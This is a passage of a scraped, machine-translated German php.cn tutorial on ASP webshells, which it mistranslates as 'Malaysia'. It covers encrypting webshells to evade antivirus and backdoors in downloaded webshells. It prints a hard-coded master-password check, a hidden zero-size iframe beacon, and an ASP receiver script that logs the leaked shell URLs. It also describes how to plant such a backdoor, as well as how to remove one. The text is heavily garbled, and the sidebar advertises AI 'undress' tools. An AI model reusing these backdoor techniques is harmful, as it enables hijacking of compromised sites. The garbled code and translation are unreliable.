<div align="left">Sie können auch Schlüsselverschlüsselungsalgorithmen wie DES und RSA verwenden. Im Allgemeinen verfügt Malaysia über ein Kennwort-Anmeldefeld. Sie können das Kennwort des Anmeldeskripts mit dem Entschlüsselungsschlüssel verknüpfen Dies dient einerseits dazu, die Erkennung durch Scanner und Antivirensoftware zu verhindern, andererseits ist es praktisch, dass andere die Datei nicht entschlüsseln und nicht sehen können Code. <p>5. Über die Hintertür von Webshell </p> <div align="left">Im Allgemeinen haben malaysische Downloads im Internet mehr oder weniger Hintertüren, die direkt dazu führen, dass die Website von anderen entfernt wird Beim Online-Download müssen Sie zunächst prüfen, ob es Hintertüren gibt. <div align="left">Zum Beispiel das universelle Passwort hier: <div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Default</span></p> <p><textarea read data-settings="dblclick">Endfunktion if session("hehe")<>userpassthen ifrequest.form("pass")<>"" then if request.form("pass")=userpassor request.form("pass")="1111111" Dann session("hehe")=userpasss Antwort.Weiterleitungs-URL sonst</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41ee319943165-1">1<div data-line="crayon-559e92dfe41ee319943165-2">2<div data-line="crayon-559e92dfe41ee319943165-3">3<div data-line="crayon-559e92dfe41ee319943165-4">4<div data-line="crayon-559e92dfe41ee319943165-5">5<div data-line="crayon-559e92dfe41ee319943165-6">6<div data-line="crayon-559e92dfe41ee319943165-7">7</div> </div> </div> </div> </div> </div> </div> </td> <td> <p></p> <p><span>end<span><span>function</span></span></span></p> <p><span>if<span><span>session<span>(<span>"hehe"<span>)<span><><span>userpassthen</span></span></span></span></span></span></span></span></p> <p><span>ifrequest<span>.<span>form<span>(<span>"pass"<span>)<span><><span>""<span><span>then</span></span></span></span></span></span></span></span></span></span></p> <p><span>if<span><span>request<span>.<span>form<span>(<span>"pass"<span>)<span>=<span>userpassor <span>request<span>.<span>form<span>(<span>"pass"<span>)<span>=<span>"1111111"<span><span>Then</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> <p><span>session<span>(<span>"hehe"<span>)<span>=<span>userpasss</span></span></span></span></span></span></p> <p><span>response<span>.<span>redirect <span>url</span></span></span></span></p> <p><span>else</span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41ee319943165-1">1 <div data-line="crayon-559e92dfe41ee319943165-2">2<div data-line="crayon-559e92dfe41ee319943165-3">3<div data-line="crayon-559e92dfe41ee319943165-4"> 4<div data-line="crayon-559e92dfe41ee319943165-5">5<div data-line="crayon-559e92dfe41ee319943165-6">6<div data-line="crayon-559e92dfe41ee319943165 -7">7</div> </div> </div> </div> </div> </div> </div> </td> <td>EndeFunktion wennSitzung("hehe")<>Benutzerpassdannauf Anfrage.Formular("pass")<>""dann ifrequest.form("pass")=userpassor request.form ("pass")="1111111"Dann Sitzung("hehe")=Benutzerpässe Antwort.Weiterleitung URLsonst</td> tr></tr></tbody></table> <div align="left"> <p>Hier</p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Standard</span></p> <p><textarea read data-settings="dblclick">Anfrageformular („pass“)=userpass</textarea></p> <p></p> <table> <tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41f9833410747-1">1</div> </td> <td> <p></p> <p><span>request<span>.<span>form<span>(<span>"pass"<span>)<span>=<span>userpass</span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41f9833410747-1 ">1</div> </td> <td> <p></p>Anfrage<div align="left">.<div data-settings=" minimize scroll-mouseover">Formular<div data-settings=" show">(<p>"pass"<span>)</span>=</p>Benutzerpass<p><textarea read data-settings="dblclick"></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe4200896853458-1">1</div> </td> <td> <p></p> <p><span>orrequest<span>.<span>from<span>(“<span>pass”<span>)<span>=”<span>1111111”</span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <br> </div> </div> </div> </td> </tr></tbody> Tabelle><div align="left"> <p> wurde ursprünglich zur Überprüfung des Passwerts verwendet. Wenn der eingegebene Passwert dem Benutzerpass entspricht, bedeutet dies, dass die Überprüfung erfolgreich war, aber später </p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p> <span></span></p>Standard<p><textarea read data-settings="dblclick"></textarea></p>orrequest.from(“pass”)=“1111111“<p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe4206898448213-1">1</div> </td> <td> <p></p> <p><span><<span>iframe <span>src<span>=后门地址<span><span>width<span>=<span>0<span><span>height<span>=<span>0<span>><span><<span>/<span>iframe<span>></span></span></p> </td> </tr></tbody></table> <table> <tr> <td data-settings="show"><div data-line="crayon-559e92dfe4200896853458-1">1<p></p> </div></td> <td><div data-settings=" minimize scroll-mouseover"> <div data-settings=" show"> <p>oderAnfrage<span title="含多种语言">.<span>von</span>(“</span>pass”</p>)=”<p>1111111”<textarea read data-settings="dblclick"></textarea></p> <p> </p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe420d673277667-1">1<div data-line="crayon-559e92dfe420d673277667-2">2<div data-line="crayon-559e92dfe420d673277667-3">3<div data-line="crayon-559e92dfe420d673277667-4">4<div data-line="crayon-559e92dfe420d673277667-5">5<div data-line="crayon-559e92dfe420d673277667-6">6<div data-line="crayon-559e92dfe420d673277667-7">7<div data-line="crayon-559e92dfe420d673277667-8">8</div> </div> </div> </div> </div> </div> </div> </div> </td> <td> <p></p> <p><span><%<span>url<span>=<span>Request<span>.<span>ServerVariables<span>(<span>"HTTP_Referer"<span>)</span></span></span></span></span></span></span></span></span></p><p><span>set<span><span>fs<span>=<span>server<span>.<span>CreateObject<span>(<span>"Scripting.FileSystemObject"<span>)</span></span></span></span></span></span></span></span></span></span></p><p><span>set<span><span>file<span>=<span>fs<span>.<span>OpenTextFile<span>(<span>server<span>.<span>MapPath<span>(<span>"hehe.txt"<span>)<span>,<span>8<span>,<span>True<span>)</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p><span>file<span>.<span>writeline<span><span>url</span></span></span></span></span></p><p><span>file<span>.<span>close</span></span></span></p><p><span>set<span><span>file<span>=<span>nothing</span></span></span></span></span></p><p><span>set<span><span>fs<span>=<span>nothing</span></span></span></span></span></p><p><span>%></span></p> </td> </tr></tbody></table> </div> </div></td> </tr> </table> bedeutet, ob der eingegebene Passwert vorliegt 1111111 lautet, können Sie sich auch in Malaysia anmelden. Natürlich kann dieser Ort nicht so einfach sein. Der ursprüngliche Autor kann den Userpass-Wert zwei zuweisen und einen hinzufügen Die Auslösebedingung für die Änderung des Benutzerpasses wird ausgelöst, wenn er sich anmeldet (wenn beispielsweise die Anmeldung fehlschlägt, wird die Aktualisierung des Benutzerpasswerts ausgelöst), sodass Sie ein Suffix hinzufügen können Darüber hinaus liegen der Auslöserbedingungscode und der Bestätigungscode weit auseinander und sind schwer zu finden. Zu diesem Zeitpunkt müssen wir den malaysischen Code Zeile für Zeile analysieren. Verwenden Sie dann den Rahmen, um das Pferd zu besteigen: Standard< ;iframe src=Backdoor-Adresse width=0 height=0></iframe><table><tbody><tr> <td data-settings="show">1</td> <td><<🎜>iframe <🎜>src<🎜>= Hintertüradresse <🎜><🎜>width<🎜>=<🎜>0<🎜><🎜>height<🎜>=<🎜>0<🎜>><<🎜>/<🎜>iframe <🎜 >> </td> </tr></tbody></table>Dieser Ort setzt die Breite und Höhe der Linkadresse auf 0 . Die Seite ist ausgeblendet. Die darin enthaltene „Hintertüradresse“ verweist auf Ihren eigenen Skriptempfänger. Legen Sie schließlich das Empfangsskript auf einem von Ihnen erstellten öffentlichen Netzwerkserver ab. Das Empfangsskript lautet wie folgt: Standard<%url=Request.ServerVariables("HTTP_Referer") ​set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True) file.writelineurl Datei.schließen setze file=nichts setze fs=nichts %><table><tbody><tr> <td data-settings="show"><div data-line="crayon-559e92dfe420d673277667-1">1<div data-line="crayon-559e92dfe420d673277667-2">2<div data-line="crayon-559e92dfe420d673277667-3">3<div data-line="crayon-559e92dfe420d673277667-4 ">4<div data-line="crayon-559e92dfe420d673277667-5">5<div data-line="crayon-559e92dfe420d673277667-6">6<div data-line="crayon -559e92dfe420d673277667-7">7<div data-line="crayon-559e92dfe420d673277667-8">8</div> </div> </div> </div> </div> </div> </div> </div></td> <td><% <🎜>URL<🎜>=<🎜>Anfrage<🎜>.<🎜>ServerVariables<🎜>(<🎜>"HTTP_Referer"<🎜>)<🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜>set<🎜><🎜>fs<🎜>=<🎜>server<🎜>.<🎜>CreateObject<🎜>(<🎜 >"Scripting.FileSystemObject"<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>gesetzt <🎜><🎜>file<🎜>=<🎜>fs<🎜>.<🎜>OpenTextFile<🎜>(<🎜>server<🎜>.<🎜>MapPath<🎜>(<🎜>"hehe.txt "<🎜>)<🎜>,<🎜>8<🎜>,<🎜>Wahr<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>Datei<🎜>.<🎜>Schreibzeile <🎜><🎜>URL<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>Datei<🎜>.<🎜>schließen<🎜><🎜><🎜>< 🎜><🎜><🎜>set<🎜><🎜>Datei<🎜>=<🎜>nichts<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>set< 🎜><🎜>fs<🎜>=<🎜>nichts<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>%> </td> </tr></tbody></table> <div align="left"><div align="left"> <p>wo</p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Standard</span></p> <p><textarea read data-settings="dblclick"> url=Request.ServerVariables("HTTP_Referer")</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe4213010815510-1">1</div> </td> <td> <p></p> <p><span>url<span>=<span>Request<span>.<span>ServerVariables<span>(<span>"HTTP_Referer"<span>)</span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon- 559e92dfe4213010815510-1">1</div> </td> <td> <p></p>url=<div align="left">Request.<p>ServerVariables</p>(<p>"HTTP_Referer"</p>)</div> </td> </tr></tbody></table> stellt den angeforderten Zeichenkonvertierungsinhalt dar, dh die malaysische URL-Adresse, und speichert die URL-Adresse dann in hehe.txt im aktuellen Verzeichnis. Um eine solche Hintertür zu entwickeln, müssen Sie zunächst die zweite Art der Passwortauthentifizierung in Malaysia zerstören, nämlich das Master-Passwort. Löschen Sie den entsprechenden Funktionscode und prüfen Sie dann, ob auf der ASP-Malaysia-Seite eine versteckte URL wie width=0 height=0 vorhanden ist, suchen Sie sie und löschen Sie sie. Das Obige hat die Implementierung und versteckte Erkundung von Webshell vorgestellt, einschließlich einiger Aspekte davon. Ich hoffe, dass es für Freunde hilfreich sein wird, die sich für PHP-Tutorials interessieren. </div></div> </div></div> </div></div> </div> </table> </div></div> </div> </div></div></div> </div> </div> </div> </div> </div> </div> </div> </div></blockquote> </div> </div> </div></div> </div> </div></div></div> </div> </div></div></div> </div></div> </div> </div></div></div> </div> </div> </div> </table> </div></div> </div> </div></blockquote> </div> </div> </div> </div> </div> </div> </div> </div> </td></tr></tbody></table> </div></div> </div> </div></blockquote> </div> </div> </blockquote> </div> </div> </div> </div></blockquote> </div> </div></blockquote> </div> </div></blockquote> </div> </div> </h3> </div> </div></div> </div> </h3> </div> </h3> </div> </div> </div> </div> </div> </div></div></div> </div></div> </div> </div> <div class="wzconShengming_sp"> <div class="bzsmdiv_sp">Erklärung dieser Website</div> <div>Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn</div> </div> </div> <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-5902227090019525" data-ad-slot="2507867629"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <div class="AI_ToolDetails_main4sR"> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-5902227090019525" data-ad-slot="3653428331" data-ad-format="auto" data-full-width-responsive="true"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <!-- <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Heißer Artikel</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796780570.html" title="R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)" class="phpgenera_Details_mainR4_bottom_title">R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>2 Wochen vor</span> <span>By 尊渡假赌尊渡假赌尊渡假赌</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796773439.html" title="Repo: Wie man Teamkollegen wiederbelebt" class="phpgenera_Details_mainR4_bottom_title">Repo: Wie man Teamkollegen wiederbelebt</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 Wochen vor</span> <span>By 尊渡假赌尊渡假赌尊渡假赌</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796774171.html" title="Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt" class="phpgenera_Details_mainR4_bottom_title">Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 Wochen vor</span> <span>By 尊渡假赌尊渡假赌尊渡假赌</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796775427.html" title="Wie lange dauert es, um Split Fiction zu schlagen?" class="phpgenera_Details_mainR4_bottom_title">Wie lange dauert es, um Split Fiction zu schlagen?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 Wochen vor</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796775336.html" title="R.E.P.O. Dateispeicherspeicherort: Wo ist es und wie schützt sie?" class="phpgenera_Details_mainR4_bottom_title">R.E.P.O. Dateispeicherspeicherort: Wo ist es und wie schützt sie?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 Wochen vor</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="https://www.php.cn/de/article.html">Mehr anzeigen</a> </div> </div> </div> --> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>Heiße KI -Werkzeuge</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411540686492.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undresser.AI Undress" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_title"> <h3>Undresser.AI Undress</h3> </a> <p>KI-gestützte App zum Erstellen realistischer Aktfotos</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411552797167.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="AI Clothes Remover" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_title"> <h3>AI Clothes Remover</h3> </a> <p>Online-KI-Tool zum Entfernen von Kleidung aus Fotos.</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173410641626608.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undress AI Tool" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_title"> <h3>Undress AI Tool</h3> </a> <p>Ausziehbilder kostenlos</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/ai/clothoffio" title="Clothoff.io" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411529149311.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Clothoff.io" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/ai/clothoffio" title="Clothoff.io" class="phpmain_tab2_mids_title"> <h3>Clothoff.io</h3> </a> <p>KI-Kleiderentferner</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/ai/ai-hentai-generator" title="AI Hentai Generator" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173405034393877.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="AI Hentai Generator" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/ai/ai-hentai-generator" title="AI Hentai Generator" class="phpmain_tab2_mids_title"> <h3>AI Hentai Generator</h3> </a> <p>Erstellen Sie kostenlos Ai Hentai.</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="https://www.php.cn/de/ai">Mehr anzeigen</a> </div> </div> </div> <script src="https://sw.php.cn/hezuo/cac1399ab368127f9b113b14eb3316d0.js" type="text/javascript"></script> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Heißer Artikel</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796780570.html" title="R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)" class="phpgenera_Details_mainR4_bottom_title">R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>2 Wochen vor</span> <span>By 尊渡假赌尊渡假赌尊渡假赌</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796773439.html" title="Repo: Wie man Teamkollegen wiederbelebt" class="phpgenera_Details_mainR4_bottom_title">Repo: Wie man Teamkollegen wiederbelebt</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 Wochen vor</span> <span>By 尊渡假赌尊渡假赌尊渡假赌</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796774171.html" title="Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt" class="phpgenera_Details_mainR4_bottom_title">Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 Wochen vor</span> <span>By 尊渡假赌尊渡假赌尊渡假赌</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796775427.html" title="Wie lange dauert es, um Split Fiction zu schlagen?" class="phpgenera_Details_mainR4_bottom_title">Wie lange dauert es, um Split Fiction zu schlagen?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 Wochen vor</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/1796775336.html" title="R.E.P.O. Dateispeicherspeicherort: Wo ist es und wie schützt sie?" class="phpgenera_Details_mainR4_bottom_title">R.E.P.O. Dateispeicherspeicherort: Wo ist es und wie schützt sie?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 Wochen vor</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="https://www.php.cn/de/article.html">Mehr anzeigen</a> </div> </div> </div> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>Heiße Werkzeuge</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/toolset/development-tools/92" title="Notepad++7.3.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab96f0f39f7357.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Notepad++7.3.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/toolset/development-tools/92" title="Notepad++7.3.1" class="phpmain_tab2_mids_title"> <h3>Notepad++7.3.1</h3> </a> <p>Einfach zu bedienender und kostenloser Code-Editor</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/toolset/development-tools/93" title="SublimeText3 chinesische Version" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97a3baad9677.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 chinesische Version" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/toolset/development-tools/93" title="SublimeText3 chinesische Version" class="phpmain_tab2_mids_title"> <h3>SublimeText3 chinesische Version</h3> </a> <p>Chinesische Version, sehr einfach zu bedienen</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/toolset/development-tools/121" title="Senden Sie Studio 13.0.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97ecd1ab2670.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Senden Sie Studio 13.0.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/toolset/development-tools/121" title="Senden Sie Studio 13.0.1" class="phpmain_tab2_mids_title"> <h3>Senden Sie Studio 13.0.1</h3> </a> <p>Leistungsstarke integrierte PHP-Entwicklungsumgebung</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d0e0fc74683535.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Dreamweaver CS6" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_title"> <h3>Dreamweaver CS6</h3> </a> <p>Visuelle Webentwicklungstools</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="https://www.php.cn/de/toolset/development-tools/500" title="SublimeText3 Mac-Version" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d34035e2757995.png?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 Mac-Version" /> </a> <div class="phpmain_tab2_mids_info"> <a href="https://www.php.cn/de/toolset/development-tools/500" title="SublimeText3 Mac-Version" class="phpmain_tab2_mids_title"> <h3>SublimeText3 Mac-Version</h3> </a> <p>Codebearbeitungssoftware auf Gottesniveau (SublimeText3)</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="https://www.php.cn/de/ai">Mehr anzeigen</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Heiße Themen</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/gmailyxdlrkzn" title="Wo ist der Login-Zugang für Gmail-E-Mail?" class="phpgenera_Details_mainR4_bottom_title">Wo ist der Login-Zugang für Gmail-E-Mail?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>7328</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>9</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/java-tutorial" title="Java-Tutorial" class="phpgenera_Details_mainR4_bottom_title">Java-Tutorial</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1626</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>14</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/cakephp-tutor" title="CakePHP-Tutorial" class="phpgenera_Details_mainR4_bottom_title">CakePHP-Tutorial</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1350</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>46</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/laravel-tutori" title="Laravel-Tutorial" class="phpgenera_Details_mainR4_bottom_title">Laravel-Tutorial</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1262</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>25</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="https://www.php.cn/de/faq/php-tutorial" title="PHP-Tutorial" class="phpgenera_Details_mainR4_bottom_title">PHP-Tutorial</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1209</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>29</span> </div> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="https://www.php.cn/de/faq/zt">Mehr anzeigen</a> </div> </div> </div> </div> </div> <div class="Article_Details_main2"> <div class="phpgenera_Details_mainL4"> <div class="phpmain1_2_top"> <a href="javascript:void(0);" class="phpmain1_2_top_title">Related knowledge<img src="/static/imghw/index2_title2.png" alt="" /></a> </div> <div class="phpgenera_Details_mainL4_info"> <div 